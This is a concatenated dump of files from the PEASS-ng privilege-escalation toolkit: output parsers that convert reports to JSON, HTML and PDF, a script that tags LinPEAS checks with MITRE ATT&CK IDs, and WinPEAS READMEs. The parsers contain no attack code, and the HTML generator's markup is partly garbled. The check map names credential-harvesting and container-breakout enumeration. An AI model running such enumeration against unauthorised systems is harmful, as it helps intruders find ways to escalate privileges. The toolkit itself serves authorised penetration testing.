    \n" return body def parse_dict(json_dict: dict) -> str: """Parse the given dict from the given json adding it to the HTML file""" dict_text="" for key, value in json_dict.items(): n=random.randint(0,999999) infos = [] for info in value["infos"]: if info.startswith("http"): infos.append(f"{info}
    \n") else: infos.append(str(info) + "
    \n") dict_text += f'\t\t
    \n' dict_text += '' + "".join(infos) + '' dict_text += f'
    \n' if value["lines"]: dict_text+="\n" + parse_list(value["lines"]) + "\n" if value["sections"]: dict_text+=parse_dict(value["sections"]) return dict_text def parse_list(json_list: list) -> str: """Parse the given list from the given json adding it to the HTML file""" color_text="" color_class="" for i in json_list: if "═══" not in i['clean_text']: if(i['clean_text']): color_text+= "
    "+ replacement + "") #class=\""+ color_class + "\" "+ " if "═╣" in text: text=text.replace("═╣","
  • ") text+="
  • " color_text+= "" + color_class + " " color_text +="no_color\" >"+ text + "
    \n" return color_text + "\t\t\t
    \n" def main(): with open(JSON_PATH) as JSON_file: json_data = json.load(JSON_file) html = HTML_HEADER html += HTML_INIT_BODY html += parse_json(json_data) html += HTML_END with open(HTML_PATH, 'w') as f: f.write(html) HTML_HEADER = """ """ HTML_END = """ """ HTML_INIT_BODY = body = """

    """ # Start execution if __name__ == "__main__": try: JSON_PATH = sys.argv[1] HTML_PATH = sys.argv[2] except IndexError as err: print("Error: Please pass the peas.json file and the path to save the html\npeas2html.py ") sys.exit(1) main() ================================================ FILE: parsers/json2pdf.py ================================================ #!/usr/bin/env python3 import sys import json import html from reportlab.lib.pagesizes import letter from reportlab.platypus import Frame, Paragraph, Spacer, PageBreak,PageTemplate, BaseDocTemplate from reportlab.platypus.tableofcontents import TableOfContents from reportlab.lib.styles import getSampleStyleSheet, ParagraphStyle from reportlab.lib.units import cm styles = getSampleStyleSheet() text_colors = { "GREEN": "#00DB00", "RED": "#FF0000", "REDYELLOW": "#FFA500", "BLUE": "#0000FF", "DARKGREY": "#5C5C5C", "YELLOW": "#ebeb21", "MAGENTA": "#FF00FF", "CYAN": "#00FFFF", "LIGHT_GREY": "#A6A6A6"} # Required to automatically set Page Numbers class PageTemplateWithCount(PageTemplate): def __init__(self, id, frames, **kw): PageTemplate.__init__(self, id, frames, **kw) def beforeDrawPage(self, canvas, doc): page_num = canvas.getPageNumber() canvas.drawRightString(10.5*cm, 1*cm, str(page_num)) # Required to automatically set the Table of Contents class MyDocTemplate(BaseDocTemplate): def __init__(self, filename, **kw): self.allowSplitting = 0 BaseDocTemplate.__init__(self, filename, **kw) template = PageTemplateWithCount("normal", [Frame(2.5*cm, 2.5*cm, 15*cm, 25*cm, id='F1')]) self.addPageTemplates(template) def afterFlowable(self, flowable): if flowable.__class__.__name__ == "Paragraph": text = flowable.getPlainText() style = flowable.style.name if style == "Heading1": self.notify("TOCEntry", (0, text, self.page)) if style == "Heading2": self.notify("TOCEntry", (1, text, self.page)) if style == "Heading3": self.notify("TOCEntry", (2, text, self.page)) # Poor take at dynamicly generating styles depending on depth(?) def get_level_styles(level): global styles indent_value = 10 * (level - 1); # Overriding some default stylings level_styles = { "title": ParagraphStyle( **dict(styles[f"Heading{level}"].__dict__, **{ "leftIndent": indent_value })), "text": ParagraphStyle( **dict(styles["Code"].__dict__, **{ "backColor": "#F0F0F0", "borderPadding": 5, "borderWidth": 1, "borderColor": "black", "borderRadius": 5, "leftIndent": 5 + indent_value})), "info": ParagraphStyle( **dict(styles["Italic"].__dict__, **{ "leftIndent": indent_value })), } return level_styles def get_colors_by_text(colors): new_colors = {} for (color, words) in colors.items(): for word in words: new_colors[html.escape(word)] = color return new_colors def build_main_section(section, title, level=1): styles = get_level_styles(level) has_links = "infos" in section.keys() and len(section["infos"]) > 0 has_lines = "lines" in section.keys() and len(section["lines"]) > 1 has_children = "sections" in section.keys() and len(section["sections"].keys()) > 0 # Only display data for Sections with results show_section = has_lines or has_children elements = [] if show_section: elements.append(Paragraph(title, style=styles["title"])) # Print info if any if show_section and has_links: for info in section["infos"]: words = info.split() # Join all lines and encode any links that might be present. words = map(lambda word: f'{word}' if "http" in word else word, words) words = " ".join(words) elements.append(Paragraph(words, style=styles["info"] )) # Print lines if any if "lines" in section.keys() and len(section["lines"]) > 1: colors_by_line = list(map(lambda x: x["colors"], section["lines"])) lines = list(map(lambda x: html.escape(x["clean_text"]), section["lines"])) for (idx, line) in enumerate(lines): colors = colors_by_line[idx] colored_text = get_colors_by_text(colors) colored_line = line for (text, color) in colored_text.items(): if color == "REDYELLOW": colored_line = colored_line.replace(text, f'{text}') else: colored_line = colored_line.replace(text, f'{text}') lines[idx] = colored_line elements.append(Spacer(0, 10)) line = "
    ".join(lines) # If it's a top level entry remove the line break caused by an empty "clean_text" if level == 1: line = line[5:] elements.append(Paragraph(line, style=styles["text"])) # Print child sections if has_children: for child_title in section["sections"].keys(): element_list = build_main_section(section["sections"][child_title], child_title, level + 1) elements.extend(element_list) # Add spacing at the end of section. The deeper the level the smaller the spacing. if show_section: elements.append(Spacer(1, 40 - (10 * level))) return elements def main(): with open(JSON_PATH) as file: # Read and parse JSON file data = json.loads(file.read()) # Default pdf values doc = MyDocTemplate(PDF_PATH) toc = TableOfContents() toc.levelStyles = [ ParagraphStyle(name = "Heading1", fontSize = 14, leading=16), ParagraphStyle(name = "Heading2", fontSize = 12, leading=14, leftIndent = 10), ParagraphStyle(name = "Heading3", fontSize = 10, leading=12, leftIndent = 20), ] elements = [Paragraph("PEAS Report", style=styles["Title"]), Spacer(0, 30), toc, PageBreak()] # Iterate over all top level sections and build their elements. for title in data.keys(): element_list = build_main_section(data[title], title) elements.extend(element_list) doc.multiBuild(elements) # Start execution if __name__ == "__main__": try: JSON_PATH = sys.argv[1] PDF_PATH = sys.argv[2] except IndexError as err: print("Error: Please pass the peas.json file and the path to save the pdf\njson2pdf.py ") sys.exit(1) main() ================================================ FILE: parsers/peas2json.ps1 ================================================ # Based on https://github.com/peass-ng/PEASS-ng/blob/master/parsers/peas2json.py # Pattern to identify main section titles $CHAR_1 = [String][char]0x2550 # ═ $CHAR_2 = [String][char]0x2554 # ╔ $CHAR_3 = [String][char]0x2563 # ╣ $CHAR_4 = [String][char]0x255a # ╚ $TITLE_CHARS = [String][char]0x2550, [String][char]0x2554, [String][char]0x2563, [String][char]0x255a # ═, ╔, ╣, ╚ $TITLE1_PATTERN = $CHAR_1*14 + $CHAR_3 #══════════════╣# #The size of the first pattern varies, but at least should be that large $TITLE2_PATTERN = $CHAR_2 + $CHAR_1*10 + $CHAR_3 #╔══════════╣# $TITLE3_PATTERN = $CHAR_1*2 + $CHAR_3 #══╣# $INFO_PATTERN = $CHAR_4 #╚ # $encoding = [System.Text.Encoding]::UTF8 # Patterns from color ## The order is important, the first string colored with a color will be the one selected (the same string cannot be colored with different colors) $global:COLORS = @{ "REDYELLOW" = "\x1b\[1;31;103m"; "RED" = "\x1b\[1;31m"; "GREEN" = "\x1b\[1;32m"; "YELLOW" = "\x1b\[1;33m"; "BLUE" = "\x1b\[1;34m"; "MAGENTA" = "\x1b\[1;95m", "\x1b\[1;35m"; "CYAN" = "\x1b\[1;36m", "\x1b\[1;96m"; "LIGHT_GREY" = "\x1b\[1;37m"; "DARKGREY" = "\x1b\[1;90m"; } $global:FINAL_JSON = @{} $global:C_SECTION = $FINAL_JSON $global:C_MAIN_SECTION = $FINAL_JSON $global:C_2_SECTION = $FINAL_JSON $global:C_3_SECTION = $FINAL_JSON function is_section { param ( [string] $line, [string] $pattern ) # Checks ifa line matches the pattern return $line.contains($pattern) } function clean_colors { param ( [string] $line ) # Given a line, clean the colors inside of it $line = $line -replace '\x1b\[[0-9;]*m','' $line = $line.Trim() return $line } function clean_title { param ( [string] $line ) # Given a title, clean it foreach($c in $TITLE_CHARS){ $line = $line.Replace($c, "") } $line = [System.Text.Encoding]::ASCII.GetString($encoding.GetBytes($line)) $line = $line.Trim() return $line } function get_colors { param ( [string] $line ) [hashtable]$colors = @{} $global:COLORS.GetEnumerator() | ForEach-Object { $colors[$_.Key] = '' foreach($reg in $_.Value){ # eq reg in regexs in py $split_color = $line -split $reg # Start from index 1 as the index 0 isn't colored if($split_color -And $split_color.Length -gt 1){ $split_color = $split_color | Select-Object -Skip 1 # For each potential color, find the string before any possible color termination foreach($potential_color_str in $split_color){ $color_str1 = ($potential_color_str -split "\x1b")[0] $color_str2 = ($potential_color_str -split "\[0m")[0] $color_str = $color_str2 if($color_str1.Length -lt $color_str2.Length){ $color_str = $color_str1 } if($color_str){ $color_str = clean_colors $color_str.trim() # Avoid having the same color for the same string if($color_str){ $colors[$_.Key] += $color_str } } } } } if(-not $colors[$_.Key]){ $colors.Remove($_.Key) } } return $colors } function parse_title { param ( [string] $line ) # Given a title, clean it $cleaned_title_pt = clean_title($line) return clean_colors $cleaned_title_pt } function parse_line { param ( [string] $line ) #Parse the given line, adding it to the FINAL_JSON structure if( $line.Contains("Cron jobs") ){ $a = 1 } # for debug #$line #Start-Sleep -Milliseconds 500 if(is_section $line $TITLE1_PATTERN){ $title = parse_title $line #New-Object System.Collections.Generic.List[System.Object] $FINAL_JSON.add($title, @{ "sections" = @{}; "lines" = @(); "infos" = @() }) $global:C_MAIN_SECTION = $global:FINAL_JSON.$title $global:C_SECTION = $global:C_MAIN_SECTION } elseif(is_section $line $TITLE2_PATTERN){ $title = parse_title $line $global:C_MAIN_SECTION.'sections'.Add($title, @{ "sections" = @{}; "lines" = @(); "infos" = @() }) $global:C_2_SECTION = $global:C_MAIN_SECTION.'sections'.$title $global:C_SECTION = $global:C_2_SECTION } elseif(is_section $line $TITLE3_PATTERN){ $title = parse_title $line $global:C_2_SECTION.'sections'.add($title, @{ "sections" = @{}; "lines" = @(); "infos" = @() }) $global:C_3_SECTION = $global:C_2_SECTION.'sections'.$title $global:C_SECTION = $global:C_3_SECTION } elseif(is_Section $line $INFO_PATTERN){ $title = parse_title $line $global:C_SECTION["infos"] += $title } #If here, then it's text else{ #If no main section parsed yet, pass if($global:C_SECTION -eq @{}){ return } $global:C_SECTION['lines'] += @{"raw_text" = $line; "colors" = get_colors $line;"clean_text" = clean_title(clean_colors $line)} } } function main { foreach($line in Get-Content -LiteralPath $OUTPUT_PATH){ $line = $line.Trim() #Write-Host $line if(-not $line -or -not (clean_colors $line)){ #Remove empty lines or lines just with colors hex continue } parse_line $line } $FINAL_JSON | ConvertTo-Json -depth 100 | Out-File $JSON_PATH } try { $OUTPUT_PATH = $(Read-Host "Output Path") $JSON_PATH = $(Read-Host "JSON Path") } catch { Write-Host "Error: Please pass the peas.out file and the path to save the json" exit } main ================================================ FILE: parsers/peas2json.py ================================================ #!/usr/bin/env python3 import sys import re import json # Pattern to identify main section titles TITLE1_PATTERN = r"══════════════╣" # The size of the first pattern varies, but at least should be that large TITLE2_PATTERN = r"╔══════════╣" TITLE3_PATTERN = r"══╣" INFO_PATTERN = r"╚ " TITLE_CHARS = ['═', '╔', '╣', '╚'] # Patterns for colors ## The order is important, the first string colored with a color will be the one selected (the same string cannot be colored with different colors) COLORS = { "REDYELLOW": ['\x1b[1;31;103m'], "RED": ['\x1b[1;31m'], "GREEN": ['\x1b[1;32m'], "YELLOW": ['\x1b[1;33m'], "BLUE": ['\x1b[1;34m'], "MAGENTA": ['\x1b[1;95m', '\x1b[1;35m'], "CYAN": ['\x1b[1;36m', '\x1b[1;96m'], "LIGHT_GREY": ['\x1b[1;37m'], "DARKGREY": ['\x1b[1;90m'], } # Final JSON structure FINAL_JSON = {} #Constructing the structure C_SECTION = FINAL_JSON C_MAIN_SECTION = FINAL_JSON C_2_SECTION = FINAL_JSON C_3_SECTION = FINAL_JSON def is_section(line: str, pattern: str) -> bool: """Returns a boolean Checks if line matches the pattern and returns True or False """ return line.find(pattern) > -1 def get_colors(line: str) -> dict: """Given a line return the colored strings""" colors = {} for c,regexs in COLORS.items(): colors[c] = [] for reg in regexs: split_color = line.split(reg) # Start from the index 1 as the index 0 isn't colored if split_color and len(split_color) > 1: split_color = split_color[1:] # For each potential color, find the string before any possible color terminatio for potential_color_str in split_color: color_str1 = potential_color_str.split('\x1b')[0] color_str2 = potential_color_str.split("\[0")[0] color_str = color_str1 if len(color_str1) < len(color_str2) else color_str2 if color_str: color_str = clean_colors(color_str.strip()) #Avoid having the same color for the same string if color_str and not any(color_str in values for values in colors.values()): colors[c].append(color_str) if not colors[c]: del colors[c] return colors def clean_title(line: str) -> str: """Given a title clean it""" for c in TITLE_CHARS: line = line.replace(c,"") line = line.encode("ascii", "ignore").decode() #Remove non ascii chars line = line.strip() return line def clean_colors(line: str) -> str: """Given a line clean the colors inside of it""" for reg in re.findall(r'\x1b\[[^a-zA-Z]+\dm', line): line = line.replace(reg,"") line = line.replace('\x1b',"").replace("[0m", "").replace("[3m", "") #Sometimes that byte stays line = line.strip() return line def parse_title(line: str) -> str: """ Given a title, clean it""" return clean_colors(clean_title(line)) def parse_line(line: str): """Parse the given line adding it to the FINAL_JSON structure""" global FINAL_JSON, C_SECTION, C_MAIN_SECTION, C_2_SECTION, C_3_SECTION if is_section(line, TITLE1_PATTERN): title = parse_title(line) FINAL_JSON[title] = { "sections": {}, "lines": [], "infos": [] } C_MAIN_SECTION = FINAL_JSON[title] C_SECTION = C_MAIN_SECTION elif is_section(line, TITLE2_PATTERN): title = parse_title(line) C_MAIN_SECTION["sections"][title] = { "sections": {}, "lines": [], "infos": [] } C_2_SECTION = C_MAIN_SECTION["sections"][title] C_SECTION = C_2_SECTION elif is_section(line, TITLE3_PATTERN): title = parse_title(line) C_2_SECTION["sections"][title] = { "sections": {}, "lines": [], "infos": [] } C_3_SECTION = C_2_SECTION["sections"][title] C_SECTION = C_3_SECTION elif is_section(line, INFO_PATTERN): title = parse_title(line) if C_SECTION == {}: return C_SECTION.setdefault("infos", []).append(title) #If here, then it's text else: #If no main section parsed yet, pass if C_SECTION == {}: return C_SECTION["lines"].append({ "raw_text": line, "colors": get_colors(line), "clean_text": clean_title(clean_colors(line)) }) def parse_peass(outputpath: str, jsonpath: str = ""): global OUTPUT_PATH, JSON_PATH, FINAL_JSON, C_SECTION, C_MAIN_SECTION, C_2_SECTION, C_3_SECTION OUTPUT_PATH = outputpath JSON_PATH = jsonpath # Reset globals to avoid data leaking between executions FINAL_JSON = {} C_SECTION = FINAL_JSON C_MAIN_SECTION = FINAL_JSON C_2_SECTION = FINAL_JSON C_3_SECTION = FINAL_JSON with open(OUTPUT_PATH, 'r', encoding="utf8") as f: for line in f.readlines(): line = line.strip() # Remove empty lines or lines containing only color codes if not line or not clean_colors(line): continue parse_line(line) if JSON_PATH: with open(JSON_PATH, "w") as f: json.dump(FINAL_JSON, f) else: return FINAL_JSON # Start execution if __name__ == "__main__": try: outputpath = sys.argv[1] jsonpath = sys.argv[2] parse_peass(outputpath, jsonpath) except IndexError as err: print("Error: Please pass the peas.out file and the path to save the json\npeas2json.py ") sys.exit(1) ================================================ FILE: scripts/add_mitre_tags.py ================================================ #!/usr/bin/env python3 """ Adds # Mitre: metadata and annotates print_2title/print_3title calls in every LinPEAS check module with the appropriate MITRE ATT&CK technique IDs. """ import os, re, sys BASE = os.path.join(os.path.dirname(__file__), "..", "linPEAS", "builder", "linpeas_parts") # Mapping: relative path from linpeas_parts → comma-separated MITRE technique IDs MITRE_MAP = { # ─── Section 1: System Information ──────────────────────────────────────── "1_system_information/1_Operative_system.sh": "T1082", "1_system_information/2_Sudo_version.sh": "T1548.003,T1068", "1_system_information/3_USBCreator.sh": "T1548.003,T1068", "1_system_information/4_Path.sh": "T1574.007", "1_system_information/5_Date.sh": "T1082", "1_system_information/6_CPU_info.sh": "T1082", "1_system_information/7_Mounts.sh": "T1082,T1120", "1_system_information/8_Disks.sh": "T1082", "1_system_information/9_Disks_extra.sh": "T1082", "1_system_information/10_Environment.sh": "T1082,T1552.007", "1_system_information/11_Dmesg.sh": "T1082", "1_system_information/12_Macos_os_checks.sh": "T1082", "1_system_information/16_Protections.sh": "T1518.001", "1_system_information/17_Kernel_Modules.sh": "T1547.006", "1_system_information/19_Kernel_Exploit_Registry.sh":"T1068", # ─── Section 2: Container ───────────────────────────────────────────────── "2_container/1_Container_tools.sh": "T1613", "2_container/2_List_mounted_tokens.sh": "T1528,T1552.007", "2_container/3_Container_details.sh": "T1613,T1611", "2_container/4_Docker_container_details.sh": "T1613", "2_container/5_Container_breakout.sh": "T1611", "2_container/7_RW_bind_mounts_nosuid.sh": "T1611", # ─── Section 3: Cloud ───────────────────────────────────────────────────── "3_cloud/1_Check_if_in_cloud.sh": "T1580", "3_cloud/2_AWS_EC2.sh": "T1552.005,T1580", "3_cloud/3_AWS_ECS.sh": "T1552.005,T1580", "3_cloud/4_AWS_Lambda.sh": "T1552.005,T1580", "3_cloud/5_AWS_Codebuild.sh": "T1552.005,T1580", "3_cloud/6_Google_cloud_function.sh": "T1552.005,T1580", "3_cloud/7_Google_cloud_vm.sh": "T1552.005,T1580", "3_cloud/8_Azure_VM.sh": "T1552.005,T1580", "3_cloud/9_Azure_app_service.sh": "T1552.005,T1580", "3_cloud/10_Azure_automation_account.sh": "T1552.005,T1580", "3_cloud/11_DO_Droplet.sh": "T1552.005,T1580", "3_cloud/13_Ali_Cloud.sh": "T1552.005,T1580", "3_cloud/14_IBM_Cloud.sh": "T1552.005,T1580", "3_cloud/15_Tencent_Cloud.sh": "T1552.005,T1580", # ─── Section 4: Processes / Crons / Timers / Services / Sockets ─────────── "4_procs_crons_timers_srvcs_sockets/1_List_processes.sh": "T1057", "4_procs_crons_timers_srvcs_sockets/2_Process_cred_in_memory.sh": "T1003.007", "4_procs_crons_timers_srvcs_sockets/3_Process_binaries_perms.sh": "T1574,T1554", "4_procs_crons_timers_srvcs_sockets/4_Processes_PPID_different_user.sh":"T1134.004", "4_procs_crons_timers_srvcs_sockets/5_Files_open_process_other_user.sh":"T1083", "4_procs_crons_timers_srvcs_sockets/6_Different_procs_1min.sh": "T1057", "4_procs_crons_timers_srvcs_sockets/7_Cron_jobs.sh": "T1053.003", "4_procs_crons_timers_srvcs_sockets/8_Macos_launch_agents_daemons.sh": "T1543.001", "4_procs_crons_timers_srvcs_sockets/9_System_timers.sh": "T1053.003", "4_procs_crons_timers_srvcs_sockets/10_Services.sh": "T1543.002,T1007", "4_procs_crons_timers_srvcs_sockets/11_Systemd.sh": "T1543.002", "4_procs_crons_timers_srvcs_sockets/12_Socket_files.sh": "T1559", "4_procs_crons_timers_srvcs_sockets/13_Unix_sockets_listening.sh": "T1571,T1049", "4_procs_crons_timers_srvcs_sockets/14_DBus_analysis.sh": "T1559.001", "4_procs_crons_timers_srvcs_sockets/15_Rcommands_trust.sh": "T1021.004", "4_procs_crons_timers_srvcs_sockets/16_Crontab_UI_misconfig.sh": "T1053.003", "4_procs_crons_timers_srvcs_sockets/17_Deleted_open_files.sh": "T1083", # ─── Section 5: Network Information ─────────────────────────────────────── "5_network_information/1_Network_interfaces.sh": "T1016", "5_network_information/2_Hostname_hosts_dns.sh": "T1016,T1018", "5_network_information/3_Network_neighbours.sh": "T1018,T1040", "5_network_information/4_Open_ports.sh": "T1049", "5_network_information/5_Macos_network_capabilities.sh":"T1016", "5_network_information/6_Macos_network_services.sh": "T1016", "5_network_information/7_Tcpdump.sh": "T1040", "5_network_information/8_Iptables.sh": "T1016", "5_network_information/9_Inetdconf.sh": "T1049", "5_network_information/10_Macos_hardware_ports.sh": "T1016", "5_network_information/11_Internet_access.sh": "T1016,T1590", # ─── Section 6: Users Information ───────────────────────────────────────── "6_users_information/1_My_user.sh": "T1033", "6_users_information/1_Macos_my_user_hooks.sh": "T1033,T1543.001", "6_users_information/2_Macos_user_hooks.sh": "T1543.001", "6_users_information/3_Macos_keychains.sh": "T1555.001", "6_users_information/4_Macos_systemkey.sh": "T1555.001", "6_users_information/5_Pgp_keys.sh": "T1552.004", "6_users_information/6_Clipboard_highlighted_text.sh":"T1115", "6_users_information/7_Sudo_l.sh": "T1548.003", "6_users_information/8_Sudo_tokens.sh": "T1548.003", "6_users_information/9_Doas.sh": "T1548.003", "6_users_information/10_Pkexec.sh": "T1548.003,T1548.004,T1068", "6_users_information/11_Superusers.sh": "T1087.001", "6_users_information/12_Users_with_console.sh": "T1087.001", "6_users_information/13_Users_groups.sh": "T1087.001,T1069.001", "6_users_information/14_Login_now.sh": "T1033", "6_users_information/15_Last_logons.sh": "T1033", "6_users_information/17_Password_policy.sh": "T1201", "6_users_information/18_Brute_su.sh": "T1110.001", # ─── Section 7: Software Information ────────────────────────────────────── "7_software_information/1_Useful_software.sh": "T1082", "7_software_information/2_Compilers.sh": "T1587.001", "7_software_information/3_Macos_writable_installed_apps.sh":"T1574", "7_software_information/Apache_nginx.sh": "T1552.001", "7_software_information/Awsvault.sh": "T1552.005", "7_software_information/Browser_profiles.sh": "T1539,T1217", "7_software_information/Cached_AD_hashes.sh": "T1003.003", "7_software_information/Containerd.sh": "T1613", "7_software_information/Docker.sh": "T1613", "7_software_information/Dovecot.sh": "T1552.001", "7_software_information/Extra_software.sh": "T1082", "7_software_information/FreeIPA.sh": "T1552.001", "7_software_information/Gitlab.sh": "T1552.001", "7_software_information/Kcpassword.sh": "T1555.001", "7_software_information/Kerberos.sh": "T1558.003", "7_software_information/Log4shell.sh": "T1190", "7_software_information/Logstash.sh": "T1552.001", "7_software_information/Mysql.sh": "T1552.001", "7_software_information/PGP_GPG.sh": "T1552.004", "7_software_information/PHP_Sessions.sh": "T1552.001", "7_software_information/Pamd.sh": "T1556.003", "7_software_information/Postgresql.sh": "T1552.001", "7_software_information/Postgresql_Event_Triggers.sh":"T1505.001", "7_software_information/Runc.sh": "T1613,T1611", "7_software_information/SKey.sh": "T1556", "7_software_information/Screen_sessions.sh": "T1563", "7_software_information/Splunk.sh": "T1552.001", "7_software_information/Ssh.sh": "T1552.004,T1021.004", "7_software_information/Tmux.sh": "T1563", "7_software_information/Vault_ssh.sh": "T1552.004", "7_software_information/YubiKey.sh": "T1556", # ─── Section 8: Interesting Permissions / Files ──────────────────────────── "8_interesting_perms_files/1_SUID.sh": "T1548.001", "8_interesting_perms_files/2_SGID.sh": "T1548.001", "8_interesting_perms_files/3_Files_ACLs.sh": "T1222", "8_interesting_perms_files/4_Capabilities.sh": "T1548.001", "8_interesting_perms_files/5_Users_with_capabilities.sh":"T1548.001", "8_interesting_perms_files/6_Misconfigured_ldso.sh": "T1574.006", "8_interesting_perms_files/7_Files_etc_profile_d.sh":"T1546.004", "8_interesting_perms_files/8_Files_etc_init_d.sh": "T1543.002", "8_interesting_perms_files/9_App_armour_profiles.sh":"T1518.001", "8_interesting_perms_files/10_Read_creds_files.sh": "T1552.001", "8_interesting_perms_files/11_Root_files_home_dir.sh":"T1083", "8_interesting_perms_files/12_Others_files_in_my_dirs.sh":"T1083", "8_interesting_perms_files/13_Root_readable_files_notworld_readeble.sh":"T1083", "8_interesting_perms_files/14_Writable_files_owner_all.sh":"T1574.009,T1574.010", "8_interesting_perms_files/15_Writable_files_group.sh":"T1574.009,T1574.010", "8_interesting_perms_files/16_IGEL_OS_SUID.sh": "T1548.001", "8_interesting_perms_files/16_Writable_root_execs.sh":"T1574.009,T1574.010", # ─── Section 9: Interesting Files ───────────────────────────────────────── "9_interesting_files/1_Sh_files_in_PATH.sh": "T1574.007", "9_interesting_files/2_Date_in_firmware.sh": "T1082", "9_interesting_files/3_Executable_files_by_user.sh": "T1083", "9_interesting_files/4_Macos_unsigned_apps.sh": "T1204.002", "9_interesting_files/5_Unexpected_in_opt.sh": "T1083", "9_interesting_files/6_Unexpected_in_root.sh": "T1083", "9_interesting_files/7_Modified_last_5mins.sh": "T1083", "9_interesting_files/8_Writable_log_files.sh": "T1070.002", "9_interesting_files/9_My_home.sh": "T1083", "9_interesting_files/10_Others_homes.sh": "T1552.001", "9_interesting_files/11_Mail_apps.sh": "T1114.001", "9_interesting_files/12_Mails.sh": "T1114.001", "9_interesting_files/13_Backup_folders.sh": "T1552.001", "9_interesting_files/14_Backup_files.sh": "T1552.001", "9_interesting_files/15_Db_files.sh": "T1005", "9_interesting_files/16_Macos_downloaded_files.sh": "T1005", "9_interesting_files/17_Web_files.sh": "T1005", "9_interesting_files/18_Hidden_files.sh": "T1564.001", "9_interesting_files/19_Readable_files_tmp_backups.sh":"T1552.001", "9_interesting_files/20_Passwords_history_cmd.sh": "T1552.001", "9_interesting_files/21_Passwords_history_files.sh": "T1552.001", "9_interesting_files/22_Passwords_php_files.sh": "T1552.001", "9_interesting_files/23_Passwords_files_home.sh": "T1552.001", "9_interesting_files/24_Passwords_TTY.sh": "T1552.001", "9_interesting_files/25_IPs_logs.sh": "T1083", "9_interesting_files/26_Mails_addr_inside_logs.sh": "T1114.001", "9_interesting_files/27_Passwords_in_logs.sh": "T1552.001", "9_interesting_files/28_Files_with_passwords.sh": "T1552.001", "9_interesting_files/29_Interesting_environment_variables.sh": "T1552.007,T1082", # ─── Section 10: API Keys Regex ─────────────────────────────────────────── "10_api_keys_regex/regexes.sh": "T1552.001,T1528", } VERSION_RE = re.compile(r'^(# Version:.*)', re.MULTILINE) PRINT2_RE = re.compile(r'''(print_2title\s+"[^"]*")(\s*)$''', re.MULTILINE) PRINT3_RE = re.compile(r'''(print_3title\s+"[^"]*")(\s*)$''', re.MULTILINE) changed = 0 skipped = 0 for rel_path, mitre_ids in MITRE_MAP.items(): abs_path = os.path.normpath(os.path.join(BASE, rel_path)) if not os.path.isfile(abs_path): print(f" SKIP (not found): {rel_path}") skipped += 1 continue with open(abs_path, "r", encoding="utf-8") as f: original_text = f.read() text = original_text # 1. Insert # Mitre: after # Version: if missing, otherwise refresh the existing tag. if "# Mitre:" not in text: text = VERSION_RE.sub(rf'\1\n# Mitre: {mitre_ids}', text, count=1) else: text = re.sub(r'^# Mitre:.*$', f'# Mitre: {mitre_ids}', text, count=1, flags=re.MULTILINE) # 2. Annotate print_2title calls that don't already have a 2nd argument def add_mitre_to_title2(m): call = m.group(1) # Skip if already has a 2nd quoted arg after the first full_line = m.group(0) if re.search(r'print_2title\s+"[^"]*"\s+"', full_line): return full_line return call + f' "{mitre_ids}"' text = PRINT2_RE.sub(add_mitre_to_title2, text) # 3. Annotate print_3title calls similarly def add_mitre_to_title3(m): call = m.group(1) full_line = m.group(0) if re.search(r'print_3title\s+"[^"]*"\s+"', full_line): return full_line return call + f' "{mitre_ids}"' text = PRINT3_RE.sub(add_mitre_to_title3, text) if text != original_text: with open(abs_path, "w", encoding="utf-8") as f: f.write(text) changed += 1 print(f"\nDone: {changed} files updated, {skipped} skipped.") ================================================ FILE: winPEAS/README.md ================================================ # Windows Privilege Escalation Awesome Scripts ![](https://github.com/peass-ng/PEASS-ng/raw/master/winPEAS/winPEASexe/images/winpeas.png) Check the **Local Windows Privilege Escalation checklist** from **[book.hacktricks.wiki](https://book.hacktricks.wiki/en/windows-hardening/checklist-windows-privilege-escalation.html)** Check more **information about how to exploit** found misconfigurations in **[book.hacktricks.wiki](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html)** ## Quick Start Find the **latest versions of all the scripts and binaries in [the releases page](https://github.com/peass-ng/PEASS-ng/releases/latest)**. ## WinPEAS Flavours - [Link to WinPEAS C# .exe project](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) (.Net >= 4.5.2 required) - **Please, read the Readme of that folder to learn how to execute winpeas from memory or how make colors work among other tricks** - [Link to WinPEAS .ps1 project](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASps1) - [Link to WinPEAS .bat project](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASbat) ## PEASS Style Are you a PEASS fan? Get now our merch at **[PEASS Shop](https://teespring.com/stores/peass)** and show your love for our favorite peas ## Advisory All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission. ================================================ FILE: winPEAS/winPEASbat/.gitattributes ================================================ # Ensure that winPEAS.bat has windows style line endings winPEAS.bat text eol=crlf ================================================ FILE: winPEAS/winPEASbat/README.md ================================================ # Windows Privilege Escalation Awesome Script (.bat) ![](https://github.com/peass-ng/PEASS-ng/raw/master/winPEAS/winPEASexe/images/winpeas.png) **WinPEAS is a script that search for possible paths to escalate privileges on Windows hosts. The checks are explained on [book.hacktricks.wiki](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html)** Check also the **Local Windows Privilege Escalation checklist** from [book.hacktricks.wiki](https://book.hacktricks.wiki/en/windows-hardening/checklist-windows-privilege-escalation.html) ### WinPEAS.bat is a batch script made for Windows systems which don't support WinPEAS.exe (Net.4 required) Unfortunately this script **does not support colors** so you will need to know what are you looking for in each test and, also, you will have to know how to learn the icacls output, see below. ## Windows PE using CMD (.bat) If you want to search for files and registry that could contain passwords, set to *yes* the *long* variable at the beginning of the script. The script will use acceschk.exe if it is available (with that name). But it is not necessary, it also uses wmic + icacls. Some of the tests in this script were extracted from **[here](https://github.com/enjoiz/Privesc/blob/master/privesc.bat)** and from **[here](https://github.com/codingo/OSCP-2/blob/master/Windows/WinPrivCheck.bat)** ### Main checks
